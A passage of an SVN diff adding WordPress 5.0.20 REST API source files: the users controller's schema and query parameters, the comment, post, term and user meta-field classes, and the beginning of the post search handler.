+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = array(
+			'$schema'    => 'http://json-schema.org/draft-04/schema#',
+			'title'      => 'user',
+			'type'       => 'object',
+			'properties' => array(
+				'id'          => array(
+					'description' => __( 'Unique identifier for the user.' ),
+					'type'        => 'integer',
+					'context'     => array( 'embed', 'view', 'edit' ),
+					'readonly'    => true,
+				),
+				'username'    => array(
+					'description' => __( 'Login name for the user.' ),
+					'type'        => 'string',
+					'context'     => array( 'edit' ),
+					'required'    => true,
+					'arg_options' => array(
+						'sanitize_callback' => array( $this, 'check_username' ),
+					),
+				),
+				'name'        => array(
+					'description' => __( 'Display name for the user.' ),
+					'type'        => 'string',
+					'context'     => array( 'embed', 'view', 'edit' ),
+					'arg_options' => array(
+						'sanitize_callback' => 'sanitize_text_field',
+					),
+				),
+				'first_name'  => array(
+					'description' => __( 'First name for the user.' ),
+					'type'        => 'string',
+					'context'     => array( 'edit' ),
+					'arg_options' => array(
+						'sanitize_callback' => 'sanitize_text_field',
+					),
+				),
+				'last_name'   => array(
+					'description' => __( 'Last name for the user.' ),
+					'type'        => 'string',
+					'context'     => array( 'edit' ),
+					'arg_options' => array(
+						'sanitize_callback' => 'sanitize_text_field',
+					),
+				),
+				'email'       => array(
+					'description' => __( 'The email address for the user.' ),
+					'type'        => 'string',
+					'format'      => 'email',
+					'context'     => array( 'edit' ),
+					'required'    => true,
+				),
+				'url'         => array(
+					'description' => __( 'URL of the user.' ),
+					'type'        => 'string',
+					'format'      => 'uri',
+					'context'     => array( 'embed', 'view', 'edit' ),
+				),
+				'description' => array(
+					'description' => __( 'Description of the user.' ),
+					'type'        => 'string',
+					'context'     => array( 'embed', 'view', 'edit' ),
+				),
+				'link'        => array(
+					'description' => __( 'Author URL of the user.' ),
+					'type'        => 'string',
+					'format'      => 'uri',
+					'context'     => array( 'embed', 'view', 'edit' ),
+					'readonly'    => true,
+				),
+				'locale'    => array(
+					'description' => __( 'Locale for the user.' ),
+					'type'        => 'string',
+					'enum'        => array_merge( array( '', 'en_US' ), get_available_languages() ),
+					'context'     => array( 'edit' ),
+				),
+				'nickname'    => array(
+					'description' => __( 'The nickname for the user.' ),
+					'type'        => 'string',
+					'context'     => array( 'edit' ),
+					'arg_options' => array(
+						'sanitize_callback' => 'sanitize_text_field',
+					),
+				),
+				'slug'        => array(
+					'description' => __( 'An alphanumeric identifier for the user.' ),
+					'type'        => 'string',
+					'context'     => array( 'embed', 'view', 'edit' ),
+					'arg_options' => array(
+						'sanitize_callback' => array( $this, 'sanitize_slug' ),
+					),
+				),
+				'registered_date' => array(
+					'description' => __( 'Registration date for the user.' ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'edit' ),
+					'readonly'    => true,
+				),
+				'roles'           => array(
+					'description' => __( 'Roles assigned to the user.' ),
+					'type'        => 'array',
+					'items'       => array(
+						'type'    => 'string',
+					),
+					'context'     => array( 'edit' ),
+				),
+				'password'        => array(
+					'description' => __( 'Password for the user (never included).' ),
+					'type'        => 'string',
+					'context'     => array(), // Password is never displayed.
+					'required'    => true,
+					'arg_options' => array(
+						'sanitize_callback' => array( $this, 'check_user_password' ),
+					),
+				),
+				'capabilities'    => array(
+					'description' => __( 'All capabilities assigned to the user.' ),
+					'type'        => 'object',
+					'context'     => array( 'edit' ),
+					'readonly'    => true,
+				),
+				'extra_capabilities' => array(
+					'description' => __( 'Any extra capabilities assigned to the user.' ),
+					'type'        => 'object',
+					'context'     => array( 'edit' ),
+					'readonly'    => true,
+				),
+			),
+		);
+
+		if ( get_option( 'show_avatars' ) ) {
+			$avatar_properties = array();
+
+			$avatar_sizes = rest_get_avatar_sizes();
+
+			foreach ( $avatar_sizes as $size ) {
+				$avatar_properties[ $size ] = array(
+					/* translators: %d: avatar image size in pixels */
+					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
+					'type'        => 'string',
+					'format'      => 'uri',
+					'context'     => array( 'embed', 'view', 'edit' ),
+				);
+			}
+
+			$schema['properties']['avatar_urls']  = array(
+				'description' => __( 'Avatar URLs for the user.' ),
+				'type'        => 'object',
+				'context'     => array( 'embed', 'view', 'edit' ),
+				'readonly'    => true,
+				'properties'  => $avatar_properties,
+			);
+		}
+
+		$schema['properties']['meta'] = $this->meta->get_field_schema();
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the query params for collections.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		$query_params = parent::get_collection_params();
+
+		$query_params['context']['default'] = 'view';
+
+		$query_params['exclude'] = array(
+			'description'        => __( 'Ensure result set excludes specific IDs.' ),
+			'type'               => 'array',
+			'items'              => array(
+				'type'           => 'integer',
+			),
+			'default'            => array(),
+		);
+
+		$query_params['include'] = array(
+			'description'        => __( 'Limit result set to specific IDs.' ),
+			'type'               => 'array',
+			'items'              => array(
+				'type'           => 'integer',
+			),
+			'default'            => array(),
+		);
+
+		$query_params['offset'] = array(
+			'description'        => __( 'Offset the result set by a specific number of items.' ),
+			'type'               => 'integer',
+		);
+
+		$query_params['order'] = array(
+			'default'            => 'asc',
+			'description'        => __( 'Order sort attribute ascending or descending.' ),
+			'enum'               => array( 'asc', 'desc' ),
+			'type'               => 'string',
+		);
+
+		$query_params['orderby'] = array(
+			'default'            => 'name',
+			'description'        => __( 'Sort collection by object attribute.' ),
+			'enum'               => array(
+				'id',
+				'include',
+				'name',
+				'registered_date',
+				'slug',
+				'include_slugs',
+				'email',
+				'url',
+			),
+			'type'               => 'string',
+		);
+
+		$query_params['slug']    = array(
+			'description'        => __( 'Limit result set to users with one or more specific slugs.' ),
+			'type'               => 'array',
+			'items'              => array(
+				'type'               => 'string',
+			),
+		);
+
+		$query_params['roles']   = array(
+			'description'        => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ),
+			'type'               => 'array',
+			'items'              => array(
+				'type'           => 'string',
+			),
+		);
+
+		$query_params['who'] = array(
+			'description' => __( 'Limit result set to users who are considered authors.' ),
+			'type'        => 'string',
+			'enum'        => array(
+				'authors',
+			),
+		);
+
+		/**
+		 * Filter collection parameters for the users controller.
+		 *
+		 * This filter registers the collection parameter, but does not map the
+		 * collection parameter to an internal WP_User_Query parameter.  Use the
+		 * `rest_user_query` filter to set WP_User_Query arguments.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param array $query_params JSON Schema-formatted collection parameters.
+		 */
+		return apply_filters( 'rest_user_collection_params', $query_params );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php	(revision 56912)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * REST API: WP_REST_Comment_Meta_Fields class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class to manage comment meta via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Meta_Fields
+ */
+class WP_REST_Comment_Meta_Fields extends WP_REST_Meta_Fields {
+
+	/**
+	 * Retrieves the object type for comment meta.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string The meta type.
+	 */
+	protected function get_meta_type() {
+		return 'comment';
+	}
+
+	/**
+	 * Retrieves the object meta subtype.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @return string 'comment' There are no subtypes.
+	 */
+	protected function get_meta_subtype() {
+		return 'comment';
+	}
+
+	/**
+	 * Retrieves the type for register_rest_field() in the context of comments.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string The REST field type.
+	 */
+	public function get_rest_field_type() {
+		return 'comment';
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-meta-fields.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-meta-fields.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-meta-fields.php	(revision 56912)
@@ -0,0 +1,474 @@
+<?php
+/**
+ * REST API: WP_REST_Meta_Fields class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class to manage meta values for an object via the REST API.
+ *
+ * @since 4.7.0
+ */
+abstract class WP_REST_Meta_Fields {
+
+	/**
+	 * Retrieves the object meta type.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string One of 'post', 'comment', 'term', 'user', or anything
+	 *                else supported by `_get_meta_table()`.
+	 */
+	abstract protected function get_meta_type();
+
+	/**
+	 * Retrieves the object meta subtype.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @return string Subtype for the meta type, or empty string if no specific subtype.
+	 */
+	protected function get_meta_subtype() {
+		return '';
+	}
+
+	/**
+	 * Retrieves the object type for register_rest_field().
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string The REST field type, such as post type name, taxonomy name, 'comment', or `user`.
+	 */
+	abstract protected function get_rest_field_type();
+
+	/**
+	 * Registers the meta field.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_field()
+	 */
+	public function register_field() {
+		register_rest_field( $this->get_rest_field_type(), 'meta', array(
+			'get_callback'    => array( $this, 'get_value' ),
+			'update_callback' => array( $this, 'update_value' ),
+			'schema'          => $this->get_field_schema(),
+		));
+	}
+
+	/**
+	 * Retrieves the meta field value.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int             $object_id Object ID to fetch meta for.
+	 * @param WP_REST_Request $request   Full details about the request.
+	 * @return WP_Error|object Object containing the meta values by name, otherwise WP_Error object.
+	 */
+	public function get_value( $object_id, $request ) {
+		$fields   = $this->get_registered_fields();
+		$response = array();
+
+		foreach ( $fields as $meta_key => $args ) {
+			$name = $args['name'];
+			$all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false );
+			if ( $args['single'] ) {
+				if ( empty( $all_values ) ) {
+					$value = $args['schema']['default'];
+				} else {
+					$value = $all_values[0];
+				}
+				$value = $this->prepare_value_for_response( $value, $request, $args );
+			} else {
+				$value = array();
+				foreach ( $all_values as $row ) {
+					$value[] = $this->prepare_value_for_response( $row, $request, $args );
+				}
+			}
+
+			$response[ $name ] = $value;
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Prepares a meta value for a response.
+	 *
+	 * This is required because some native types cannot be stored correctly
+	 * in the database, such as booleans. We need to cast back to the relevant
+	 * type before passing back to JSON.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param mixed           $value   Meta value to prepare.
+	 * @param WP_REST_Request $request Current request object.
+	 * @param array           $args    Options for the field.
+	 * @return mixed Prepared value.
+	 */
+	protected function prepare_value_for_response( $value, $request, $args ) {
+		if ( ! empty( $args['prepare_callback'] ) ) {
+			$value = call_user_func( $args['prepare_callback'], $value, $request, $args );
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Updates meta values.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array           $meta      Array of meta parsed from the request.
+	 * @param int             $object_id Object ID to fetch meta for.
+	 * @return WP_Error|null WP_Error if one occurs, null on success.
+	 */
+	public function update_value( $meta, $object_id ) {
+		$fields = $this->get_registered_fields();
+		foreach ( $fields as $meta_key => $args ) {
+			$name = $args['name'];
+			if ( ! array_key_exists( $name, $meta ) ) {
+				continue;
+			}
+
+			/*
+			 * A null value means reset the field, which is essentially deleting it
+			 * from the database and then relying on the default value.
+			 */
+			if ( is_null( $meta[ $name ] ) ) {
+				$result = $this->delete_meta_value( $object_id, $meta_key, $name );
+				if ( is_wp_error( $result ) ) {
+					return $result;
+				}
+				continue;
+			}
+
+			$is_valid = rest_validate_value_from_schema( $meta[ $name ], $args['schema'], 'meta.' . $name );
+			if ( is_wp_error( $is_valid ) ) {
+				$is_valid->add_data( array( 'status' => 400 ) );
+				return $is_valid;
+			}
+
+			$value = rest_sanitize_value_from_schema( $meta[ $name ], $args['schema'] );
+
+			if ( $args['single'] ) {
+				$result = $this->update_meta_value( $object_id, $meta_key, $name, $value );
+			} else {
+				$result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value );
+			}
+
+			if ( is_wp_error( $result ) ) {
+				return $result;
+			}
+		}
+
+		return null;
+	}
+
+	/**
+	 * Deletes a meta value for an object.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int    $object_id Object ID the field belongs to.
+	 * @param string $meta_key  Key for the field.
+	 * @param string $name      Name for the field that is exposed in the REST API.
+	 * @return bool|WP_Error True if meta field is deleted, WP_Error otherwise.
+	 */
+	protected function delete_meta_value( $object_id, $meta_key, $name ) {
+		$meta_type = $this->get_meta_type();
+		if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) {
+			return new WP_Error(
+				'rest_cannot_delete',
+				/* translators: %s: custom field key */
+				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
+				array( 'key' => $name, 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
+			return new WP_Error(
+				'rest_meta_database_error',
+				__( 'Could not delete meta value from database.' ),
+				array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR )
+			);
+		}
+
+		return true;
+	}
+
+	/**
+	 * Updates multiple meta values for an object.
+	 *
+	 * Alters the list of values in the database to match the list of provided values.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int    $object_id Object ID to update.
+	 * @param string $meta_key  Key for the custom field.
+	 * @param string $name      Name for the field that is exposed in the REST API.
+	 * @param array  $values    List of values to update to.
+	 * @return bool|WP_Error True if meta fields are updated, WP_Error otherwise.
+	 */
+	protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) {
+		$meta_type = $this->get_meta_type();
+		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
+			return new WP_Error(
+				'rest_cannot_update',
+				/* translators: %s: custom field key */
+				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
+				array( 'key' => $name, 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		$current = get_metadata( $meta_type, $object_id, $meta_key, false );
+
+		$to_remove = $current;
+		$to_add    = $values;
+
+		foreach ( $to_add as $add_key => $value ) {
+			$remove_keys = array_keys( $to_remove, $value, true );
+
+			if ( empty( $remove_keys ) ) {
+				continue;
+			}
+
+			if ( count( $remove_keys ) > 1 ) {
+				// To remove, we need to remove first, then add, so don't touch.
+				continue;
+			}
+
+			$remove_key = $remove_keys[0];
+
+			unset( $to_remove[ $remove_key ] );
+			unset( $to_add[ $add_key ] );
+		}
+
+		// `delete_metadata` removes _all_ instances of the value, so only call once.
+		$to_remove = array_unique( $to_remove );
+
+		foreach ( $to_remove as $value ) {
+			if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
+				return new WP_Error(
+					'rest_meta_database_error',
+					__( 'Could not update meta value in database.' ),
+					array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR )
+				);
+			}
+		}
+
+		foreach ( $to_add as $value ) {
+			if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
+				return new WP_Error(
+					'rest_meta_database_error',
+					__( 'Could not update meta value in database.' ),
+					array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR )
+				);
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Updates a meta value for an object.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int    $object_id Object ID to update.
+	 * @param string $meta_key  Key for the custom field.
+	 * @param string $name      Name for the field that is exposed in the REST API.
+	 * @param mixed  $value     Updated value.
+	 * @return bool|WP_Error True if the meta field was updated, WP_Error otherwise.
+	 */
+	protected function update_meta_value( $object_id, $meta_key, $name, $value ) {
+		$meta_type = $this->get_meta_type();
+		if ( ! current_user_can(  "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
+			return new WP_Error(
+				'rest_cannot_update',
+				/* translators: %s: custom field key */
+				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
+				array( 'key' => $name, 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		// Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false.
+		$old_value = get_metadata( $meta_type, $object_id, $meta_key );
+		$subtype   = get_object_subtype( $meta_type, $object_id );
+
+		if ( 1 === count( $old_value ) ) {
+			if ( (string) sanitize_meta( $meta_key, $value, $meta_type, $subtype ) === $old_value[0] ) {
+				return true;
+			}
+		}
+
+		if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
+			return new WP_Error(
+				'rest_meta_database_error',
+				__( 'Could not update meta value in database.' ),
+				array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR )
+			);
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves all the registered meta fields.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Registered fields.
+	 */
+	protected function get_registered_fields() {
+		$registered = array();
+
+		$meta_type    = $this->get_meta_type();
+		$meta_subtype = $this->get_meta_subtype();
+
+		$meta_keys = get_registered_meta_keys( $meta_type );
+		if ( ! empty( $meta_subtype ) ) {
+			$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) );
+		}
+
+		foreach ( $meta_keys as $name => $args ) {
+			if ( empty( $args['show_in_rest'] ) ) {
+				continue;
+			}
+
+			$rest_args = array();
+
+			if ( is_array( $args['show_in_rest'] ) ) {
+				$rest_args = $args['show_in_rest'];
+			}
+
+			$default_args = array(
+				'name'             => $name,
+				'single'           => $args['single'],
+				'type'             => ! empty( $args['type'] ) ? $args['type'] : null,
+				'schema'           => array(),
+				'prepare_callback' => array( $this, 'prepare_value' ),
+			);
+
+			$default_schema = array(
+				'type'        => $default_args['type'],
+				'description' => empty( $args['description'] ) ? '' : $args['description'],
+				'default'     => isset( $args['default'] ) ? $args['default'] : null,
+			);
+
+			$rest_args = array_merge( $default_args, $rest_args );
+			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );
+
+			$type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null;
+			$type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type;
+
+			if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number' ) ) ) {
+				continue;
+			}
+
+			if ( empty( $rest_args['single'] ) ) {
+				$rest_args['schema']['items'] = array(
+					'type' => $rest_args['type'],
+				);
+				$rest_args['schema']['type'] = 'array';
+			}
+
+			$registered[ $name ] = $rest_args;
+		}
+
+		return $registered;
+	}
+
+	/**
+	 * Retrieves the object's meta schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Field schema data.
+	 */
+	public function get_field_schema() {
+		$fields = $this->get_registered_fields();
+
+		$schema = array(
+			'description' => __( 'Meta fields.' ),
+			'type'        => 'object',
+			'context'     => array( 'view', 'edit' ),
+			'properties'  => array(),
+			'arg_options' => array(
+				'sanitize_callback' => null,
+				'validate_callback' => array( $this, 'check_meta_is_array' ),
+			),
+		);
+
+		foreach ( $fields as $args ) {
+			$schema['properties'][ $args['name'] ] = $args['schema'];
+		}
+
+		return $schema;
+	}
+
+	/**
+	 * Prepares a meta value for output.
+	 *
+	 * Default preparation for meta fields. Override by passing the
+	 * `prepare_callback` in your `show_in_rest` options.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param mixed           $value   Meta value from the database.
+	 * @param WP_REST_Request $request Request object.
+	 * @param array           $args    REST-specific options for the meta key.
+	 * @return mixed Value prepared for output. If a non-JsonSerializable object, null.
+	 */
+	public static function prepare_value( $value, $request, $args ) {
+		$type = $args['schema']['type'];
+
+		// For multi-value fields, check the item type instead.
+		if ( 'array' === $type && ! empty( $args['schema']['items']['type'] ) ) {
+			$type = $args['schema']['items']['type'];
+		}
+
+		switch ( $type ) {
+			case 'string':
+				$value = (string) $value;
+				break;
+			case 'integer':
+				$value = (int) $value;
+				break;
+			case 'number':
+				$value = (float) $value;
+				break;
+			case 'boolean':
+				$value = (bool) $value;
+				break;
+		}
+
+		// Don't allow objects to be output.
+		if ( is_object( $value ) && ! ( $value instanceof JsonSerializable ) ) {
+			return null;
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Check the 'meta' value of a request is an associative array.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  mixed           $value   The meta value submitted in the request.
+	 * @param  WP_REST_Request $request Full details about the request.
+	 * @param  string          $param   The parameter name.
+	 * @return WP_Error|string The meta array, if valid, otherwise an error.
+	 */
+	public function check_meta_is_array( $value, $request, $param ) {
+		if ( ! is_array( $value ) ) {
+			return false;
+		}
+
+		return $value;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php	(revision 56912)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * REST API: WP_REST_Post_Meta_Fields class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to manage meta values for posts via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Meta_Fields
+ */
+class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {
+
+	/**
+	 * Post type to register fields for.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	protected $post_type;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $post_type Post type to register fields for.
+	 */
+	public function __construct( $post_type ) {
+		$this->post_type = $post_type;
+	}
+
+	/**
+	 * Retrieves the object meta type.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string The meta type.
+	 */
+	protected function get_meta_type() {
+		return 'post';
+	}
+
+	/**
+	 * Retrieves the object meta subtype.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @return string Subtype for the meta type, or empty string if no specific subtype.
+	 */
+	protected function get_meta_subtype() {
+		return $this->post_type;
+	}
+
+	/**
+	 * Retrieves the type for register_rest_field().
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_field()
+	 *
+	 * @return string The REST field type.
+	 */
+	public function get_rest_field_type() {
+		return $this->post_type;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php	(revision 56912)
@@ -0,0 +1,70 @@
+<?php
+/**
+ * REST API: WP_REST_Term_Meta_Fields class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to manage meta values for terms via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Meta_Fields
+ */
+class WP_REST_Term_Meta_Fields extends WP_REST_Meta_Fields {
+
+	/**
+	 * Taxonomy to register fields for.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	protected $taxonomy;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $taxonomy Taxonomy to register fields for.
+	 */
+	public function __construct( $taxonomy ) {
+		$this->taxonomy = $taxonomy;
+	}
+
+	/**
+	 * Retrieves the object meta type.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string The meta type.
+	 */
+	protected function get_meta_type() {
+		return 'term';
+	}
+
+	/**
+	 * Retrieves the object meta subtype.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @return string Subtype for the meta type, or empty string if no specific subtype.
+	 */
+	protected function get_meta_subtype() {
+		return $this->taxonomy;
+	}
+
+	/**
+	 * Retrieves the type for register_rest_field().
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string The REST field type.
+	 */
+	public function get_rest_field_type() {
+		return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php	(revision 56912)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * REST API: WP_REST_User_Meta_Fields class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to manage meta values for users via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Meta_Fields
+ */
+class WP_REST_User_Meta_Fields extends WP_REST_Meta_Fields {
+
+	/**
+	 * Retrieves the object meta type.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string The user meta type.
+	 */
+	protected function get_meta_type() {
+		return 'user';
+	}
+
+	/**
+	 * Retrieves the object meta subtype.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @return string 'user' There are no subtypes.
+	 */
+	protected function get_meta_subtype() {
+		return 'user';
+	}
+
+	/**
+	 * Retrieves the type for register_rest_field().
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string The user REST field type.
+	 */
+	public function get_rest_field_type() {
+		return 'user';
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php	(revision 56912)
@@ -0,0 +1,192 @@
+<?php
+/**
+ * REST API: WP_REST_Post_Search_Handler class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 5.0.0
+ */
+
+/**
+ * Core class representing a search handler for posts in the REST API.
+ *
+ * @since 5.0.0
+ */
+class WP_REST_Post_Search_Handler extends WP_REST_Search_Handler {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 5.0.0
+	 */
+	public function __construct() {
+		$this->type = 'post';
+
+		// Support all public post types except attachments.
+		$this->subtypes = array_diff(
+			array_values(
+				get_post_types(
+					array(
+						'public'       => true,
+						'show_in_rest' => true,
+					),
+					'names'
+				)
+			),
+			array( 'attachment' )
+		);
+	}
+
+	/**
+	 * Searches the object type content for a given search request.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full REST request.
+	 * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
+	 *               an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
+	 *               total count for the matching search results.
+	 */
+	public function search_items( WP_REST_Request $request ) {
+
+		// Get the post types to search for the current request.
+		$post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
+		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) {
+			$post_types = $this->subtypes;
+		}
+
+		$query_args = array(
+			'post_type'           => $post_types,
+			'post_status'         => 'publish',
+			'paged'               => (int) $request['page'],
+			'posts_per_page'      => (int) $request['per_page'],
+			'ignore_sticky_posts' => true,
+			'fields'              => 'ids',
+		);
+
+		if ( ! empty( $request['search'] ) ) {
+			$query_args['s'] = $request['search'];
+		}
+
+		$query     = new WP_Query();
+		$found_ids = $query->query( $query_args );
+		$total     = $query->found_posts;
+
+		return array(
+			self::RESULT_IDS   => $found_ids,
+			self::RESULT_TOTAL => $total,
+		);
+	}
+
+	/**
+	 * Prepares the search result for a given ID.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param int   $id     Item ID.
+	 * @param array $fields Fields to include for the item.
+	 * @return array Associative array containing all fields for the item.
+	 */
+	public function prepare_item( $id, array $fields ) {
+		$post = get_post( $id );
+
+		$data = array();
+
+		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID;
+		}
+
+		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
+			if ( post_type_supports( $post->post_type, 'title' ) ) {
+				add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
+				$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID );
+				remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
+			} else {
+				$data[ WP_REST_Search_Controller::PROP_TITLE ] = '';
+			}
+		}
+
+		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID );
+		}
+
+		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
+		}
+
+		if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Prepares links for the search result of a given ID.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param int $id Item ID.
+	 * @return array Links for the given item.
+	 */
+	public function prepare_item_links( $id ) {
+		$post = get_post( $id );
+
+		$links = array();
+
+		$item_route = $this->detect_rest_item_route( $post );
+		if ( ! empty( $item_route ) ) {
+			$links['self'] = array(
